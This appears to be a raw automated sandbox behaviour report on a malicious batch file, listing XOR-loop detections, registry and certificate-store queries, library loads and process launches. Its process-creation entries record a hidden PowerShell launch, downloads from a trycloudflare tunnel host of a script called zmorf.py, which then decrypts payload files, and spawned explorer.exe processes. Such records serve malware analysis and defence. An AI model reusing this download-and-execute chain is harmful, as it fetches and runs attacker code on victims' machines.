33c1 Found XOR loop in file "_lzma.pyd" at offset 90182; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 154046; code bytes = 33c1 Found XOR loop in file "_lzma.pyd" at offset 52847; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 126356; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 149339; code bytes = 8030 Found XOR loop in file "_lzma.pyd" at offset 158611; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 28627; code bytes = 33c1 Found XOR loop in file "_ctypes.pyd" at offset 134590; code bytes = 33c1 Found XOR loop in file "_ctypes.pyd" at offset 129883; code bytes = 8030 Found XOR loop in file "_ctypes.pyd" at offset 139155; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 32979; code bytes = 33c1 Found XOR loop in file "_elementtree.pyd" at offset 131518; code bytes = 33c1 Found XOR loop in file "_elementtree.pyd" at offset 126811; code bytes = 8030 Found XOR loop in file "_elementtree.pyd" at offset 136083; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 46339; code bytes = 33c1 Found XOR loop in file "_sqlite3.pyd" at offset 56012; code bytes = 33c1 Found XOR loop in file "_sqlite3.pyd" at offset 125374; code bytes = 33c1 Found XOR loop in file "_sqlite3.pyd" at offset 105240; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 120667; code bytes = 8030 Found XOR loop in file "_sqlite3.pyd" at offset 129939; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 11620; code bytes = 33c1 Found XOR loop in file "_bz2.pyd" at offset 40119; code bytes = 33c1 Found XOR loop in file "_bz2.pyd" at offset 80830; code bytes = 33c1 Found XOR loop in file "_bz2.pyd" at offset 76123; code bytes = 8030 Found XOR loop in file "_bz2.pyd" at offset 85394; code bytes = 8030 Found XOR loop in file "_socket.pyd" at offset 9475; code bytes = 33c1 Found XOR loop in file "_socket.pyd" at offset 80318; code bytes = 33c1 Found XOR loop in file "_socket.pyd" at offset 75611; code bytes = 8030 Found XOR loop in file "_socket.pyd" at offset 84883; code bytes = 8030 Found XOR loop in file "_asyncio.pyd" at offset 58972; code bytes = 30d0 Found XOR loop in file "_asyncio.pyd" at offset 4755; code bytes = 33c1 Found XOR loop in file "_asyncio.pyd" at offset 71614; code bytes = 33c1 Found XOR loop in file "_asyncio.pyd" at offset 66907; code bytes = 8030 Found XOR loop in file "_asyncio.pyd" at offset 76179; code bytes = 8030 Found XOR loop in file "_remote_debugging.pyd" at offset 75324; code bytes = 30d0 Found XOR loop in file "_remote_debugging.pyd" at offset 31651; code bytes = 33c1 Found XOR loop in file "_remote_debugging.pyd" at offset 68542; code bytes = 33c1 Found XOR loop in file "_remote_debugging.pyd" at offset 63835; code bytes = 8030 Found XOR loop in file "_remote_debugging.pyd" at offset 73107; code bytes = 8030 Found XOR loop in file "_hashlib.pyd" at offset 14915; code bytes = 33c1 Found XOR loop in file "_hashlib.pyd" at offset 62398; code bytes = 33c1 Found XOR loop in file "_hashlib.pyd" at offset 57691; code bytes = 8030 Found XOR loop in file "_hashlib.pyd" at offset 66963; code bytes = 8030 Found XOR loop in file "_overlapped.pyd" at offset 3955; code bytes = 33c1 Found XOR loop in file "_overlapped.pyd" at offset 51134; code bytes = 33c1 Found XOR loop in file "_overlapped.pyd" at offset 46427; code bytes = 8030 Found XOR loop in file "_overlapped.pyd" at offset 55699; code bytes = 8030 Found XOR loop in file "_zoneinfo.pyd" at offset 17491; code bytes = 33c1 Found XOR loop in file "_zoneinfo.pyd" at offset 43966; code bytes = 33c1 Found XOR loop in file "_zoneinfo.pyd" at offset 9324; code bytes = 8030 Found XOR loop in file "_zoneinfo.pyd" at offset 39259; code bytes = 8030 Found XOR loop in file "_zoneinfo.pyd" at offset 48531; code bytes = 80302e:T1b19,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002240) "cmd.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002240) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac7fd8fa7f0000000000000000000051edd8dafa7f000000000000fa7f00000000000000000000f31a6aa7e33d0000000001001a00010040dde9dafa7f00008fecd8dafa7f0000e0ac7fd8fa7f0000e0ac7fd8fa7f0000000000000000000000000000fa7f0000ffffff7f3ec5000000000000000000000000000000000000d8ce73d8fa7f00002a0000000000000069c32cd8fa7f00003100000000000000ac01000000000000b0010000000000001100011000000000d0cd4f22d900000003a3bedafa7f0000d0cd4f22d900000000000000000000002b00000000000000000000000000000020b032d8fa7f0000b43f31d8fa7f0000e0ce73d8 (UID: 00000000-00002240) "cmd.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002240) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002240) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003044) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003044) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac7fd8fa7f0000000000000000000051edd8dafa7f000000000000f10100000000000000000000950b2cbdc28f00002a0000000000000090d9eb31f10100008fecd8dafa7f0000e0ac7fd8fa7f0000e0ac7fd8fa7f0000000000000000000000000000fa7f0000ffffff7f771c000000000000000000000000000000000000d8ce73d8fa7f00002a0000000000000069c32cd8fa7f00003100000000000000e803000000000000ec030000000000001100011000000000e0cfbff31500000003a3bedafa7f0000e0cfbff31500000000000000000000002b00000000000000000000000000000020b032d8fa7f0000b43f31d8fa7f0000e0ce73d8 (UID: 00000000-00003044) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000400000000000000000000c32f10100000b8ed6dafa7f000000000c32f101000002000000f10100003800000000000000400000000000000030030c32f1010000a8dfb4f4150000000100000000000000030000000000000001000000000000000d000000000000002010d531f101000000000000000000000000d531f101000058940e4cf101000000000000000000000900000001000000608aea31f101000000000000000000000400000000000000000000000000000088a10e4cf101000004000000000000003800000000000000f098bddafa7f00003800000000000000380000000000000020e1b4f415000000c00c84b8fa7f000000000000 (UID: 00000000-00003044) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b04bb9fa7f000007000000000000000000000000000000010000000000000070ee0c32f10100000000000000000000e09f694cf10100004c98bddafa7f0000d0b8694cf1010000b3ce7ab8fa7f0000c0a3694cf1010000004f4bb9fa7f0000d0b04bb9fa7f000000000000000000000000000000000000c0a3694cf101000070ee0c32f101000010da694cf101000078e1b4f4150000004c98bddafa7f0000010000000000000078e1b4f41500000010da694cf1010000c0a3694cf1010000010000000000000002bc7ab8fa7f0000a0a2694cf10100002076684cf1010000feffffff040000007df04ab9fa7f000050d9694c (UID: 00000000-00003044) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000007000000000000000000000000000000010000000000000070ee0c32f10100000000000000000000e09f694cf10100004c98bddafa7f000050bf694cf1010000b3ce7ab8fa7f000050a7694cf1010000384f4bb9fa7f0000d0b04bb9fa7f00000000000000000000000000000000000050a7694cf101000070ee0c32f101000010da694cf101000070e1b4f4150000004c98bddafa7f0000010000000000000070e1b4f41500000010da694cf101000050a7694cf1010000010000000000000002bc7ab8fa7f000000000000000000002076684cf1010000a0a2694c04000000feffffffffffffff70ee0c32f10100007df04ab9fa7f000000000000 (UID: 00000000-00003044)2f:T57c,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")30:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")31:T470,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES\URLASSOCIATIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES\URLASSOCIATIONS"; Key: "HTTPS"; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES"; Key: "HIDDEN"; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES\URLASSOCIATIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES\URLASSOCIATIONS"; Key: "HTTPS"; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES"; Key: "HIDDEN"; Value: "")32:T105b,"powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003044-00000C17-1676309893 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00003044-00000C17-1677184251 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00003044-00000C17-1677603092 "powershell.exe" queries volume information of "C:\" at 00000000-00003044-00000C17-1677922824 "powershell.exe" queries volume information of "C:\share" at 00000000-00003044-00000C17-1677924428 "powershell.exe" queries volume information of "C:\share" at 00000000-00003044-00000C17-1678016601 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003044-00000C17-1678745078 "cmd.exe" queries volume information of "C:\" at 00000000-00003108-00000C17-1734058208 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005872-00000C17-1684300304 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00005872-00000C17-1684958773 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005872-00000C17-1685365438 "powershell.exe" queries volume information of "C:\" at 00000000-00005872-00000C17-1685829601 "powershell.exe" queries volume information of "C:\share" at 00000000-00005872-00000C17-1685831153 "powershell.exe" queries volume information of "C:\share" at 00000000-00005872-00000C17-1685920522 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005872-00000C17-1686800661 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005872-00000C17-1686942138 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005872-00000C17-1687005433 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005872-00000C17-1717409515 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00005872-00000C17-1717583797 "powershell.exe" queries volume information of "C:\" at 00000000-00006572-00000C17-1726942870 "powershell.exe" queries volume information of "C:\share" at 00000000-00006572-00000C17-1726944437 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\xt\python314.zip" at 00000000-00007628-00000C17-1734795046 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\xt\python314.zip" at 00000000-00007628-00000C17-1734796359 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\xt\python314.zip" at 00000000-00007628-00000C17-1734844062 "python.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\xt\python314.zip" at 00000000-00007628-00000C17-173484541933:T6b8,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "")34:T5dd,"powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS\27748148BBE67A43CDBFEC6C3784862CE134E6EA"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB")35:T6a4,"cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://opposite-lodge-strict-closes.trycloudflar" - (UID: 00000000-00002240) "cmd.exe" called "CreateProcessW" with parameter "powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c6" - (UID: 00000000-00002240), "powershell.exe" called "CreateProcessW" with parameter ""C:\2cab35576d40a8dd509ec54d0a6654597f2566f1e2fb0fa1635573c391c60a1d.bin.bat" h" - (UID: 00000000-00003044), "cmd.exe" called "CreateProcessW" with parameter "powershell -Command "iwr 'https://www.python.org/ftp/python/3.14.0/python-3.14.0rc3-embed-amd64.zip' -OutFile '%USERPROFILE%\A" - (UID: 00000000-00003108), "cmd.exe" called "CreateProcessW" with parameter "powershell -Command "iwr 'https://opposite-lodge-strict-closes.trycloudflare.com/xt/zmorf.py' -OutFile '%USERPROFILE%\AppData\" - (UID: 00000000-00003108) "cmd.exe" called "CreateProcessW" with parameter "python zmorf.py -i BB1.bin -k BB1.txt -c -v" - (UID: 00000000-00003108) "cmd.exe" called "CreateProcessW" with parameter "python zmorf.py -i s1.bin -k s1.txt -c -v" - (UID: 00000000-00003108) "cmd.exe" called "CreateProcessW" with parameter "zmorf.py -i s2.bin -k s2.txt -c -v" - (UID: 00000000-00003108) "cmd.exe" called "CreateProcessW" with parameter ""%WINDIR%\py.exe" "%LOCALAPPDATA%\xt\zmorf.py" -i s2.bin -k s2.txt -c -v" - (UID: 00000000-00003108) "python.exe" called "CreateProcessA" with parameter "explorer.exe" - (UID: 00000000-00007628) "python.exe" called "CreateProcessA" with parameter "explorer.exe" - (UID: 00000000-00007708)36:T7c37,"cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002240) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002240) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002240) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002240) "cmd.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002240) "cmd.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00002240) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00002240) "cmd.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00002240) "cmd.exe" called "LoadLibrary" with a parameter MLANG.dll (UID: 00000000-00002240) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00002240) "cmd.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003044) "powershell.exe" called "LoadLibrary" with a 